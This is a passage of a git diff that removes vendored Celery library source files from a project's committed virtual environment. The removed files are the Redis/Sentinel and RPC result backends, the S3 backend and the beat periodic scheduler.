header_result.save(backend=self) - - @cached_property - def _chord_zset(self): - return self._transport_options.get('result_chord_ordered', True) - - @cached_property - def _transport_options(self): - return self.app.conf.get('result_backend_transport_options', {}) - - def on_chord_part_return(self, request, state, result, - propagate=None, **kwargs): - app = self.app - tid, gid, group_index = request.id, request.group, request.group_index - if not gid or not tid: - return - if group_index is None: - group_index = '+inf' - - client = self.client - jkey = self.get_key_for_group(gid, '.j') - tkey = self.get_key_for_group(gid, '.t') - skey = self.get_key_for_group(gid, '.s') - result = self.encode_result(result, state) - encoded = self.encode([1, tid, state, result]) - with client.pipeline() as pipe: - pipeline = ( - pipe.zadd(jkey, {encoded: group_index}).zcount(jkey, "-inf", "+inf") - if self._chord_zset - else pipe.rpush(jkey, encoded).llen(jkey) - ).get(tkey).get(skey) - if self.expires: - pipeline = pipeline \ - .expire(jkey, self.expires) \ - .expire(tkey, self.expires) \ - .expire(skey, self.expires) - - _, readycount, totaldiff, chord_size_bytes = pipeline.execute()[:4] - - totaldiff = int(totaldiff or 0) - - if chord_size_bytes: - try: - callback = maybe_signature(request.chord, app=app) - total = int(chord_size_bytes) + totaldiff - if readycount == total: - header_result = GroupResult.restore(gid) - if header_result is not None: - # If we manage to restore a `GroupResult`, then it must - # have been complex and saved by `apply_chord()` earlier. - # - # Before we can join the `GroupResult`, it needs to be - # manually marked as ready to avoid blocking - header_result.on_ready() - # We'll `join()` it to get the results and ensure they are - # structured as intended rather than the flattened version - # we'd construct without any other information. - join_func = ( - header_result.join_native - if header_result.supports_native_join - else header_result.join - ) - with allow_join_result(): - resl = join_func( - timeout=app.conf.result_chord_join_timeout, - propagate=True - ) - else: - # Otherwise simply extract and decode the results we - # stashed along the way, which should be faster for large - # numbers of simple results in the chord header. - decode, unpack = self.decode, self._unpack_chord_result - with client.pipeline() as pipe: - if self._chord_zset: - pipeline = pipe.zrange(jkey, 0, -1) - else: - pipeline = pipe.lrange(jkey, 0, total) - resl, = pipeline.execute() - resl = [unpack(tup, decode) for tup in resl] - try: - callback.delay(resl) - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Chord callback for %r raised: %r', request.group, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Callback error: {exc!r}'), - ) - finally: - with client.pipeline() as pipe: - pipe \ - .delete(jkey) \ - .delete(tkey) \ - .delete(skey) \ - .execute() - except ChordError as exc: - logger.exception('Chord %r raised: %r', request.group, exc) - return self.chord_error_from_stack(callback, exc) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', request.group, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Join error: {exc!r}'), - ) - - def _create_client(self, **params): - return self._get_client()( - connection_pool=self._get_pool(**params), - ) - - def _get_client(self): - return self.redis.StrictRedis - - def _get_pool(self, **params): - return self.ConnectionPool(**params) - - @property - def ConnectionPool(self): - if self._ConnectionPool is None: - self._ConnectionPool = self.redis.ConnectionPool - return self._ConnectionPool - - @cached_property - def client(self): - return self._create_client(**self.connparams) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__( - args, dict(kwargs, expires=self.expires, url=self.url)) - - -if getattr(redis, "sentinel", None): - class SentinelManagedSSLConnection( - redis.sentinel.SentinelManagedConnection, - redis.SSLConnection): - """Connect to a Redis server using Sentinel + TLS. - - Use Sentinel to identify which Redis server is the current master - to connect to and when connecting to the Master server, use an - SSL Connection. - """ - - -class SentinelBackend(RedisBackend): - """Redis sentinel task result store.""" - - # URL looks like `sentinel://0.0.0.0:26347/3;sentinel://0.0.0.0:26348/3` - _SERVER_URI_SEPARATOR = ";" - - sentinel = getattr(redis, "sentinel", None) - connection_class_ssl = SentinelManagedSSLConnection if sentinel else None - - def __init__(self, *args, **kwargs): - if self.sentinel is None: - raise ImproperlyConfigured(E_REDIS_SENTINEL_MISSING.strip()) - - super().__init__(*args, **kwargs) - - def as_uri(self, include_password=False): - """Return the server addresses as URIs, sanitizing the password or not.""" - # Allow superclass to do work if we don't need to force sanitization - if include_password: - return super().as_uri( - include_password=include_password, - ) - # Otherwise we need to ensure that all components get sanitized rather - # by passing them one by one to the `kombu` helper - uri_chunks = ( - maybe_sanitize_url(chunk) - for chunk in (self.url or "").split(self._SERVER_URI_SEPARATOR) - ) - # Similar to the superclass, strip the trailing slash from URIs with - # all components empty other than the scheme - return self._SERVER_URI_SEPARATOR.join( - uri[:-1] if uri.endswith(":///") else uri - for uri in uri_chunks - ) - - def _params_from_url(self, url, defaults): - chunks = url.split(self._SERVER_URI_SEPARATOR) - connparams = dict(defaults, hosts=[]) - for chunk in chunks: - data = super()._params_from_url( - url=chunk, defaults=defaults) - connparams['hosts'].append(data) - for param in ("host", "port", "db", "password"): - connparams.pop(param) - - # Adding db/password in connparams to connect to the correct instance - for param in ("db", "password"): - if connparams['hosts'] and param in connparams['hosts'][0]: - connparams[param] = connparams['hosts'][0].get(param) - return connparams - - def _get_sentinel_instance(self, **params): - connparams = params.copy() - - hosts = connparams.pop("hosts") - min_other_sentinels = self._transport_options.get("min_other_sentinels", 0) - sentinel_kwargs = self._transport_options.get("sentinel_kwargs", {}) - - sentinel_instance = self.sentinel.Sentinel( - [(cp['host'], cp['port']) for cp in hosts], - min_other_sentinels=min_other_sentinels, - sentinel_kwargs=sentinel_kwargs, - **connparams) - - return sentinel_instance - - def _get_pool(self, **params): - sentinel_instance = self._get_sentinel_instance(**params) - - master_name = self._transport_options.get("master_name", None) - - return sentinel_instance.master_for( - service_name=master_name, - redis_class=self._get_client(), - ).connection_pool diff --git a/backend/venv/Lib/site-packages/celery/backends/rpc.py b/backend/venv/Lib/site-packages/celery/backends/rpc.py deleted file mode 100644 index 927c7f51..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/rpc.py +++ /dev/null @@ -1,342 +0,0 @@ -"""The ``RPC`` result backend for AMQP brokers. - -RPC-style result backend, using reply-to and one queue per client. -""" -import time - -import kombu -from kombu.common import maybe_declare -from kombu.utils.compat import register_after_fork -from kombu.utils.objects import cached_property - -from celery import states -from celery._state import current_task, task_join_will_block - -from . import base -from .asynchronous import AsyncBackendMixin, BaseResultConsumer - -__all__ = ('BacklogLimitExceeded', 'RPCBackend') - -E_NO_CHORD_SUPPORT = """ -The "rpc" result backend does not support chords! - -Note that a group chained with a task is also upgraded to be a chord, -as this pattern requires synchronization. - -Result backends that supports chords: Redis, Database, Memcached, and more. -""" - - -class BacklogLimitExceeded(Exception): - """Too much state history to fast-forward.""" - - -def _on_after_fork_cleanup_backend(backend): - backend._after_fork() - - -class ResultConsumer(BaseResultConsumer): - Consumer = kombu.Consumer - - _connection = None - _consumer = None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self._create_binding = self.backend._create_binding - - def start(self, initial_task_id, no_ack=True, **kwargs): - self._connection = self.app.connection() - initial_queue = self._create_binding(initial_task_id) - self._consumer = self.Consumer( - self._connection.default_channel, [initial_queue], - callbacks=[self.on_state_change], no_ack=no_ack, - accept=self.accept) - self._consumer.consume() - - def drain_events(self, timeout=None): - if self._connection: - return self._connection.drain_events(timeout=timeout) - elif timeout: - time.sleep(timeout) - - def stop(self): - try: - self._consumer.cancel() - finally: - self._connection.close() - - def on_after_fork(self): - self._consumer = None - if self._connection is not None: - self._connection.collect() - self._connection = None - - def consume_from(self, task_id): - if self._consumer is None: - return self.start(task_id) - queue = self._create_binding(task_id) - if not self._consumer.consuming_from(queue): - self._consumer.add_queue(queue) - self._consumer.consume() - - def cancel_for(self, task_id): - if self._consumer: - self._consumer.cancel_by_queue(self._create_binding(task_id).name) - - -class RPCBackend(base.Backend, AsyncBackendMixin): - """Base class for the RPC result backend.""" - - Exchange = kombu.Exchange - Producer = kombu.Producer - ResultConsumer = ResultConsumer - - #: Exception raised when there are too many messages for a task id. - BacklogLimitExceeded = BacklogLimitExceeded - - persistent = False - supports_autoexpire = True - supports_native_join = True - - retry_policy = { - 'max_retries': 20, - 'interval_start': 0, - 'interval_step': 1, - 'interval_max': 1, - } - - class Consumer(kombu.Consumer): - """Consumer that requires manual declaration of queues.""" - - auto_declare = False - - class Queue(kombu.Queue): - """Queue that never caches declaration.""" - - can_cache_declaration = False - - def __init__(self, app, connection=None, exchange=None, exchange_type=None, - persistent=None, serializer=None, auto_delete=True, **kwargs): - super().__init__(app, **kwargs) - conf = self.app.conf - self._connection = connection - self._out_of_band = {} - self.persistent = self.prepare_persistent(persistent) - self.delivery_mode = 2 if self.persistent else 1 - exchange = exchange or conf.result_exchange - exchange_type = exchange_type or conf.result_exchange_type - self.exchange = self._create_exchange( - exchange, exchange_type, self.delivery_mode, - ) - self.serializer = serializer or conf.result_serializer - self.auto_delete = auto_delete - self.result_consumer = self.ResultConsumer( - self, self.app, self.accept, - self._pending_results, self._pending_messages, - ) - if register_after_fork is not None: - register_after_fork(self, _on_after_fork_cleanup_backend) - - def _after_fork(self): - # clear state for child processes. - self._pending_results.clear() - self.result_consumer._after_fork() - - def _create_exchange(self, name, type='direct', delivery_mode=2): - # uses direct to queue routing (anon exchange). - return self.Exchange(None) - - def _create_binding(self, task_id): - """Create new binding for task with id.""" - # RPC backend caches the binding, as one queue is used for all tasks. - return self.binding - - def ensure_chords_allowed(self): - raise NotImplementedError(E_NO_CHORD_SUPPORT.strip()) - - def on_task_call(self, producer, task_id): - # Called every time a task is sent when using this backend. - # We declare the queue we receive replies on in advance of sending - # the message, but we skip this if running in the prefork pool - # (task_join_will_block), as we know the queue is already declared. - if not task_join_will_block(): - maybe_declare(self.binding(producer.channel), retry=True) - - def destination_for(self, task_id, request): - """Get the destination for result by task id. - - Returns: - Tuple[str, str]: tuple of ``(reply_to, correlation_id)``. - """ - # Backends didn't always receive the `request`, so we must still - # support old code that relies on current_task. - try: - request = request or current_task.request - except AttributeError: - raise RuntimeError( - f'RPC backend missing task request for {task_id!r}') - return request.reply_to, request.correlation_id or task_id - - def on_reply_declare(self, task_id): - # Return value here is used as the `declare=` argument - # for Producer.publish. - # By default we don't have to declare anything when sending a result. - pass - - def on_result_fulfilled(self, result): - # This usually cancels the queue after the result is received, - # but we don't have to cancel since we have one queue per process. - pass - - def as_uri(self, include_password=True): - return 'rpc://' - - def store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Send task return value and state.""" - routing_key, correlation_id = self.destination_for(task_id, request) - if not routing_key: - return - with self.app.amqp.producer_pool.acquire(block=True) as producer: - producer.publish( - self._to_result(task_id, state, result, traceback, request), - exchange=self.exchange, - routing_key=routing_key, - correlation_id=correlation_id, - serializer=self.serializer, - retry=True, retry_policy=self.retry_policy, - declare=self.on_reply_declare(task_id), - delivery_mode=self.delivery_mode, - ) - return result - - def _to_result(self, task_id, state, result, traceback, request): - return { - 'task_id': task_id, - 'status': state, - 'result': self.encode_result(result, state), - 'traceback': traceback, - 'children': self.current_task_children(request), - } - - def on_out_of_band_result(self, task_id, message): - # Callback called when a reply for a task is received, - # but we have no idea what to do with it. - # Since the result is not pending, we put it in a separate - # buffer: probably it will become pending later. - if self.result_consumer: - self.result_consumer.on_out_of_band_result(message) - self._out_of_band[task_id] = message - - def get_task_meta(self, task_id, backlog_limit=1000): - buffered = self._out_of_band.pop(task_id, None) - if buffered: - return self._set_cache_by_message(task_id, buffered) - - # Polling and using basic_get - latest_by_id = {} - prev = None - for acc in self._slurp_from_queue(task_id, self.accept, backlog_limit): - tid = self._get_message_task_id(acc) - prev, latest_by_id[tid] = latest_by_id.get(tid), acc - if prev: - # backends aren't expected to keep history, - # so we delete everything except the most recent state. - prev.ack() - prev = None - - latest = latest_by_id.pop(task_id, None) - for tid, msg in latest_by_id.items(): - self.on_out_of_band_result(tid, msg) - - if latest: - latest.requeue() - return self._set_cache_by_message(task_id, latest) - else: - # no new state, use previous - try: - return self._cache[task_id] - except KeyError: - # result probably pending. - return {'status': states.PENDING, 'result': None} - poll = get_task_meta # XXX compat - - def _set_cache_by_message(self, task_id, message): - payload = self._cache[task_id] = self.meta_from_decoded( - message.payload) - return payload - - def _slurp_from_queue(self, task_id, accept, - limit=1000, no_ack=False): - with self.app.pool.acquire_channel(block=True) as (_, channel): - binding = self._create_binding(task_id)(channel) - binding.declare() - - for _ in range(limit): - msg = binding.get(accept=accept, no_ack=no_ack) - if not msg: - break - yield msg - else: - raise self.BacklogLimitExceeded(task_id) - - def _get_message_task_id(self, message): - try: - # try property first so we don't have to deserialize - # the payload. - return message.properties['correlation_id'] - except (AttributeError, KeyError): - # message sent by old Celery version, need to deserialize. - return message.payload['task_id'] - - def revive(self, channel): - pass - - def reload_task_result(self, task_id): - raise NotImplementedError( - 'reload_task_result is not supported by this backend.') - - def reload_group_result(self, task_id): - """Reload group result, even if it has been previously fetched.""" - raise NotImplementedError( - 'reload_group_result is not supported by this backend.') - - def save_group(self, group_id, result): - raise NotImplementedError( - 'save_group is not supported by this backend.') - - def restore_group(self, group_id, cache=True): - raise NotImplementedError( - 'restore_group is not supported by this backend.') - - def delete_group(self, group_id): - raise NotImplementedError( - 'delete_group is not supported by this backend.') - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__(args, dict( - kwargs, - connection=self._connection, - exchange=self.exchange.name, - exchange_type=self.exchange.type, - persistent=self.persistent, - serializer=self.serializer, - auto_delete=self.auto_delete, - expires=self.expires, - )) - - @property - def binding(self): - return self.Queue( - self.oid, self.exchange, self.oid, - durable=False, - auto_delete=True, - expires=self.expires, - ) - - @cached_property - def oid(self): - # cached here is the app thread OID: name of queue we receive results on. - return self.app.thread_oid diff --git a/backend/venv/Lib/site-packages/celery/backends/s3.py b/backend/venv/Lib/site-packages/celery/backends/s3.py deleted file mode 100644 index ea04ae37..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/s3.py +++ /dev/null @@ -1,87 +0,0 @@ -"""s3 result store backend.""" - -from kombu.utils.encoding import bytes_to_str - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - import boto3 - import botocore -except ImportError: - boto3 = None - botocore = None - - -__all__ = ('S3Backend',) - - -class S3Backend(KeyValueStoreBackend): - """An S3 task result store. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`boto3` is not available, - if the :setting:`aws_access_key_id` or - setting:`aws_secret_access_key` are not set, - or it the :setting:`bucket` is not set. - """ - - def __init__(self, **kwargs): - super().__init__(**kwargs) - - if not boto3 or not botocore: - raise ImproperlyConfigured('You must install boto3' - 'to use s3 backend') - conf = self.app.conf - - self.endpoint_url = conf.get('s3_endpoint_url', None) - self.aws_region = conf.get('s3_region', None) - - self.aws_access_key_id = conf.get('s3_access_key_id', None) - self.aws_secret_access_key = conf.get('s3_secret_access_key', None) - - self.bucket_name = conf.get('s3_bucket', None) - if not self.bucket_name: - raise ImproperlyConfigured('Missing bucket name') - - self.base_path = conf.get('s3_base_path', None) - - self._s3_resource = self._connect_to_s3() - - def _get_s3_object(self, key): - key_bucket_path = self.base_path + key if self.base_path else key - return self._s3_resource.Object(self.bucket_name, key_bucket_path) - - def get(self, key): - key = bytes_to_str(key) - s3_object = self._get_s3_object(key) - try: - s3_object.load() - data = s3_object.get()['Body'].read() - return data if self.content_encoding == 'binary' else data.decode('utf-8') - except botocore.exceptions.ClientError as error: - if error.response['Error']['Code'] == "404": - return None - raise error - - def set(self, key, value): - key = bytes_to_str(key) - s3_object = self._get_s3_object(key) - s3_object.put(Body=value) - - def delete(self, key): - key = bytes_to_str(key) - s3_object = self._get_s3_object(key) - s3_object.delete() - - def _connect_to_s3(self): - session = boto3.Session( - aws_access_key_id=self.aws_access_key_id, - aws_secret_access_key=self.aws_secret_access_key, - region_name=self.aws_region - ) - if session.get_credentials() is None: - raise ImproperlyConfigured('Missing aws s3 creds') - return session.resource('s3', endpoint_url=self.endpoint_url) diff --git a/backend/venv/Lib/site-packages/celery/beat.py b/backend/venv/Lib/site-packages/celery/beat.py deleted file mode 100644 index 86ad837f..00000000 --- a/backend/venv/Lib/site-packages/celery/beat.py +++ /dev/null @@ -1,737 +0,0 @@ -"""The periodic task scheduler.""" - -import copy -import dbm -import errno -import heapq -import os -import shelve -import sys -import time -import traceback -from calendar import timegm -from collections import namedtuple -from functools import total_ordering -from threading import Event, Thread - -from billiard import ensure_multiprocessing -from billiard.common import reset_signals -from billiard.context import Process -from kombu.utils.functional import maybe_evaluate, reprcall -from kombu.utils.objects import cached_property - -from . import __version__, platforms, signals -from .exceptions import reraise -from .schedules import crontab, maybe_schedule -from .utils.functional import is_numeric_value -from .utils.imports import load_extension_class_names, symbol_by_name -from .utils.log import get_logger, iter_open_logger_fds -from .utils.time import humanize_seconds, maybe_make_aware - -__all__ = ( - 'SchedulingError', 'ScheduleEntry', 'Scheduler', - 'PersistentScheduler', 'Service', 'EmbeddedService', -) - -event_t = namedtuple('event_t', ('time', 'priority', 'entry')) - -logger = get_logger(__name__) -debug, info, error, warning = (logger.debug, logger.info, - logger.error, logger.warning) - -DEFAULT_MAX_INTERVAL = 300 # 5 minutes - - -class SchedulingError(Exception): - """An error occurred while scheduling a task.""" - - -class BeatLazyFunc: - """A lazy function declared in 'beat_schedule' and called before sending to worker. - - Example: - - beat_schedule = { - 'test-every-5-minutes': { - 'task': 'test', - 'schedule': 300, - 'kwargs': { - "current": BeatCallBack(datetime.datetime.now) - } - } - } - - """ - - def __init__(self, func, *args, **kwargs): - self._func = func - self._func_params = { - "args": args, - "kwargs": kwargs - } - - def __call__(self): - return self.delay() - - def delay(self): - return self._func(*self._func_params["args"], **self._func_params["kwargs"]) - - -@total_ordering -class ScheduleEntry: - """An entry in the scheduler. - - Arguments: - name (str): see :attr:`name`. - schedule (~celery.schedules.schedule): see :attr:`schedule`. - args (Tuple): see :attr:`args`. - kwargs (Dict): see :attr:`kwargs`. - options (Dict): see :attr:`options`. - last_run_at (~datetime.datetime): see :attr:`last_run_at`. - total_run_count (int): see :attr:`total_run_count`. - relative (bool): Is the time relative to when the server starts? - """ - - #: The task name - name = None - - #: The schedule (:class:`~celery.schedules.schedule`) - schedule = None - - #: Positional arguments to apply. - args = None - - #: Keyword arguments to apply. - kwargs = None - - #: Task execution options. - options = None - - #: The time and date of when this task was last scheduled. - last_run_at = None - - #: Total number of times this task has been scheduled. - total_run_count = 0 - - def __init__(self, name=None, task=None, last_run_at=None, - total_run_count=None, schedule=None, args=(), kwargs=None, - options=None, relative=False, app=None): - self.app = app - self.name = name - self.task = task - self.args = args - self.kwargs = kwargs if kwargs else {} - self.options = options if options else {} - self.schedule = maybe_schedule(schedule, relative, app=self.app) - self.last_run_at = last_run_at or self.default_now() - self.total_run_count = total_run_count or 0 - - def default_now(self): - return self.schedule.now() if self.schedule else self.app.now() - _default_now = default_now # compat - - def _next_instance(self, last_run_at=None): - """Return new instance, with date and count fields updated.""" - return self.__class__(**dict( - self, - last_run_at=last_run_at or self.default_now(), - total_run_count=self.total_run_count + 1, - )) - __next__ = next = _next_instance # for 2to3 - - def __reduce__(self): - return self.__class__, ( - self.name, self.task, self.last_run_at, self.total_run_count, - self.schedule, self.args, self.kwargs, self.options, - ) - - def update(self, other): - """Update values from another entry. - - Will only update "editable" fields: - ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. - """ - self.__dict__.update({ - 'task': other.task, 'schedule': other.schedule, - 'args': other.args, 'kwargs': other.kwargs, - 'options': other.options, - }) - - def is_due(self): - """See :meth:`~celery.schedules.schedule.is_due`.""" - return self.schedule.is_due(self.last_run_at) - - def __iter__(self): - return iter(vars(self).items()) - - def __repr__(self): - return '<{name}: {0.name} {call} {0.schedule}'.format( - self, - call=reprcall(self.task, self.args or (), self.kwargs or {}), - name=type(self).__name__, - ) - - def __lt__(self, other): - if isinstance(other, ScheduleEntry): - # How the object is ordered doesn't really matter, as - # in the scheduler heap, the order is decided by the - # preceding members of the tuple ``(time, priority, entry)``. - # - # If all that's left to order on is the entry then it can - # just as well be random. - return id(self) < id(other) - return NotImplemented - - def editable_fields_equal(self, other): - for attr in ('task', 'args', 'kwargs', 'options', 'schedule'): - if getattr(self, attr) != getattr(other, attr): - return False - return True - - def __eq__(self, other): - """Test schedule entries equality. - - Will only compare "editable" fields: - ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. - """ - return self.editable_fields_equal(other) - - -def _evaluate_entry_args(entry_args): - if not entry_args: - return [] - return [ - v() if isinstance(v, BeatLazyFunc) else v - for v in entry_args - ] - - -def _evaluate_entry_kwargs(entry_kwargs): - if not entry_kwargs: - return {} - return { - k: v() if isinstance(v, BeatLazyFunc) else v - for k, v in entry_kwargs.items() - } - - -class Scheduler: - """Scheduler for periodic tasks. - - The :program:`celery beat` program may instantiate this class - multiple times for introspection purposes, but then with the - ``lazy`` argument set. It's important for subclasses to - be idempotent when this argument is set. - - Arguments: - schedule (~celery.schedules.schedule): see :attr:`schedule`. - max_interval (int): see :attr:`max_interval`. - lazy (bool): Don't set up the schedule. - """ - - Entry = ScheduleEntry - - #: The schedule dict/shelve. - schedule = None - - #: Maximum time to sleep between re-checking the schedule. - max_interval = DEFAULT_MAX_INTERVAL - - #: How often to sync the schedule (3 minutes by default) - sync_every = 3 * 60 - - #: How many tasks can be called before a sync is forced. - sync_every_tasks = None - - _last_sync = None - _tasks_since_sync = 0 - - logger = logger # compat - - def __init__(self, app, schedule=None, max_interval=None, - Producer=None, lazy=False, sync_every_tasks=None, **kwargs): - self.app = app - self.data = maybe_evaluate({} if schedule is None else schedule) - self.max_interval = (max_interval or - app.conf.beat_max_loop_interval or - self.max_interval) - self.Producer = Producer or app.amqp.Producer - self._heap = None - self.old_schedulers = None - self.sync_every_tasks = ( - app.conf.beat_sync_every if sync_every_tasks is None - else sync_every_tasks) - if not lazy: - self.setup_schedule() - - def install_default_entries(self, data): - entries = {} - if self.app.conf.result_expires and \ - not self.app.backend.supports_autoexpire: - if 'celery.backend_cleanup' not in data: - entries['celery.backend_cleanup'] = { - 'task': 'celery.backend_cleanup', - 'schedule': crontab('0', '4', '*'), - 'options': {'expires': 12 * 3600}} - self.update_from_dict(entries) - - def apply_entry(self, entry, producer=None): - info('Scheduler: Sending due task %s (%s)', entry.name, entry.task) - try: - result = self.apply_async(entry, producer=producer, advance=False) - except Exception as exc: # pylint: disable=broad-except - error('Message Error: %s\n%s', - exc, traceback.format_stack(), exc_info=True) - else: - if result and hasattr(result, 'id'): - debug('%s sent. id->%s', entry.task, result.id) - else: - debug('%s sent.', entry.task) - - def adjust(self, n, drift=-0.010): - if n and n > 0: - return n + drift - return n - - def is_due(self, entry): - return entry.is_due() - - def _when(self, entry, next_time_to_run, mktime=timegm): - """Return a utc timestamp, make sure heapq in correct order.""" - adjust = self.adjust - - as_now = maybe_make_aware(entry.default_now()) - - return (mktime(as_now.utctimetuple()) + - as_now.microsecond / 1e6 + - (adjust(next_time_to_run) or 0)) - - def populate_heap(self, event_t=event_t, heapify=heapq.heapify): - """Populate the heap with the data contained in the schedule.""" - priority = 5 - self._heap = [] - for entry in self.schedule.values(): - is_due, next_call_delay = entry.is_due() - self._heap.append(event_t( - self._when( - entry, - 0 if is_due else next_call_delay - ) or 0, - priority, entry - )) - heapify(self._heap) - - # pylint disable=redefined-outer-name - def tick(self, event_t=event_t, min=min, heappop=heapq.heappop, - heappush=heapq.heappush): - """Run a tick - one iteration of the scheduler. - - Executes one due task per call. - - Returns: - float: preferred delay in seconds for next call. - """ - adjust = self.adjust - max_interval = self.max_interval - - if (self._heap is None or - not self.schedules_equal(self.old_schedulers, self.schedule)): - self.old_schedulers = copy.copy(self.schedule) - self.populate_heap() - - H = self._heap - - if not H: - return max_interval - - event = H[0] - entry = event[2] - is_due, next_time_to_run = self.is_due(entry) - if is_due: - verify = heappop(H) - if verify is event: - next_entry = self.reserve(entry) - self.apply_entry(entry, producer=self.producer) - heappush(H, event_t(self._when(next_entry, next_time_to_run), - event[1], next_entry)) - return 0 - else: - heappush(H, verify) - return min(verify[0], max_interval) - adjusted_next_time_to_run = adjust(next_time_to_run) - return min(adjusted_next_time_to_run if is_numeric_value(adjusted_next_time_to_run) else max_interval, - max_interval) - - def schedules_equal(self, old_schedules, new_schedules): - if old_schedules is new_schedules is None: - return True - if old_schedules is None or new_schedules is None: - return False - if set(old_schedules.keys()) != set(new_schedules.keys()): - return False - for name, old_entry in old_schedules.items(): - new_entry = new_schedules.get(name) - if not new_entry: - return False - if new_entry != old_entry: - return False - return True - - def should_sync(self): - return ( - (not self._last_sync or - (time.monotonic() - self._last_sync) > self.sync_every) or - (self.sync_every_tasks and - self._tasks_since_sync >= self.sync_every_tasks) - ) - - def reserve(self, entry): - new_entry = self.schedule[entry.name] = next(entry) - return new_entry - - def apply_async(self, entry, producer=None, advance=True, **kwargs): - # Update time-stamps and run counts before we actually execute, - # so we have that done if an exception is raised (doesn't schedule - # forever.) - entry = self.reserve(entry) if advance else entry - task = self.app.tasks.get(entry.task) - - try: - entry_args = _evaluate_entry_args(entry.args) - entry_kwargs = _evaluate_entry_kwargs(entry.kwargs) - if task: - return task.apply_async(entry_args, entry_kwargs, - producer=producer, - **entry.options) - else: - return self.send_task(entry.task, entry_args, entry_kwargs, - producer=producer, - **entry.options) - except Exception as exc: # pylint: disable=broad-except - reraise(SchedulingError, SchedulingError( - "Couldn't apply scheduled task {0.name}: {exc}".format( - entry, exc=exc)), sys.exc_info()[2]) - finally: - self._tasks_since_sync += 1 - if self.should_sync(): - self._do_sync() - - def send_task(self, *args, **kwargs): - return self.app.send_task(*args, **kwargs) - - def setup_schedule(self): - self.install_default_entries(self.data) - self.merge_inplace(self.app.conf.beat_schedule) - - def _do_sync(self): - try: - debug('beat: Synchronizing schedule...') - self.sync() - finally: - self._last_sync = time.monotonic() - self._tasks_since_sync = 0 - - def sync(self): - pass - - def close(self): - self.sync() - - def add(self, **kwargs): - entry = self.Entry(app=self.app, **kwargs) - self.schedule[entry.name] = entry - return entry - - def _maybe_entry(self, name, entry): - if isinstance(entry, self.Entry): - entry.app = self.app - return entry - return self.Entry(**dict(entry, name=name, app=self.app)) - - def update_from_dict(self, dict_): - self.schedule.update({ - name: self._maybe_entry(name, entry) - for name, entry in dict_.items() - }) - - def merge_inplace(self, b): - schedule = self.schedule - A, B = set(schedule), set(b) - - # Remove items from disk not in the schedule anymore. - for key in A ^ B: - schedule.pop(key, None) - - # Update and add new items in the schedule - for key in B: - entry = self.Entry(**dict(b[key], name=key, app=self.app)) - if schedule.get(key): - schedule[key].update(entry) - else: - schedule[key] = entry - - def _ensure_connected(self): - # callback called for each retry while the connection - # can't be established. - def _error_handler(exc, interval): - error('beat: Connection error: %s. ' - 'Trying again in %s seconds...', exc, interval) - - return self.connection.ensure_connection( - _error_handler, self.app.conf.broker_connection_max_retries - ) - - def get_schedule(self): - return self.data - - def set_schedule(self, schedule): - self.data = schedule - schedule = property(get_schedule, set_schedule) - - @cached_property - def connection(self): - return self.app.connection_for_write() - - @cached_property - def producer(self): - return self.Producer(self._ensure_connected(), auto_declare=False) - - @property - def info(self): - return '' - - -class PersistentScheduler(Scheduler): - """Scheduler backed by :mod:`shelve` database.""" - - persistence = shelve - known_suffixes = ('', '.db', '.dat', '.bak', '.dir') - - _store = None - - def __init__(self, *args, **kwargs): - self.schedule_filename = kwargs.get('schedule_filename') - super().__init__(*args, **kwargs) - - def _remove_db(self): - for suffix in self.known_suffixes: - with platforms.ignore_errno(errno.ENOENT): - os.remove(self.schedule_filename + suffix) - - def _open_schedule(self): - return self.persistence.open(self.schedule_filename, writeback=True) - - def _destroy_open_corrupted_schedule(self, exc): - error('Removing corrupted schedule file %r: %r', - self.schedule_filename, exc, exc_info=True) - self._remove_db() - return self._open_schedule() - - def setup_schedule(self): - try: - self._store = self._open_schedule() - # In some cases there may be different errors from a storage - # backend for corrupted files. Example - DBPageNotFoundError - # exception from bsddb. In such case the file will be - # successfully opened but the error will be raised on first key - # retrieving. - self._store.keys() - except Exception as exc: # pylint: disable=broad-except - self._store = self._destroy_open_corrupted_schedule(exc) - - self._create_schedule() - - tz = self.app.conf.timezone - stored_tz = self._store.get('tz') - if stored_tz is not None and stored_tz != tz: - warning('Reset: Timezone changed from %r to %r', stored_tz, tz) - self._store.clear() # Timezone changed, reset db! - utc = self.app.conf.enable_utc - stored_utc = self._store.get('utc_enabled') - if stored_utc is not None and stored_utc != utc: - choices = {True: 'enabled', False: 'disabled'} - warning('Reset: UTC changed from %s to %s', - choices[stored_utc], choices[utc]) - self._store.clear() # UTC setting changed, reset db! - entries = self._store.setdefault('entries', {}) - self.merge_inplace(self.app.conf.beat_schedule) - self.install_default_entries(self.schedule) - self._store.update({ - '__version__': __version__, - 'tz': tz, - 'utc_enabled': utc, - }) - self.sync() - debug('Current schedule:\n' + '\n'.join( - repr(entry) for entry in entries.values())) - - def _create_schedule(self): - for _ in (1, 2): - try: - self._store['entries'] - except (KeyError, UnicodeDecodeError, TypeError): - # new schedule db - try: - self._store['entries'] = {} - except (KeyError, UnicodeDecodeError, TypeError) + dbm.error as exc: - self._store = self._destroy_open_corrupted_schedule(exc) - continue - else: - if '__version__' not in self._store: - warning('DB Reset: Account for new __version__ field') - self._store.clear() # remove schedule at 2.2.2 upgrade. - elif 'tz' not in self._store: - warning('DB Reset: Account for new tz field') - self._store.clear() # remove schedule at 3.0.8 upgrade - elif 'utc_enabled' not in self._store: - warning('DB Reset: Account for new utc_enabled field') - self._store.clear() # remove schedule at 3.0.9 upgrade - break - - def get_schedule(self): - return self._store['entries'] - - def set_schedule(self, schedule): - self._store['entries'] = schedule - schedule = property(get_schedule, set_schedule) - - def sync(self): - if self._store is not None: - self._store.sync() - - def close(self): - self.sync() - self._store.close() - - @property - def info(self): - return f' . db -> {self.schedule_filename}' - - -class Service: - """Celery periodic task service.""" - - scheduler_cls = PersistentScheduler - 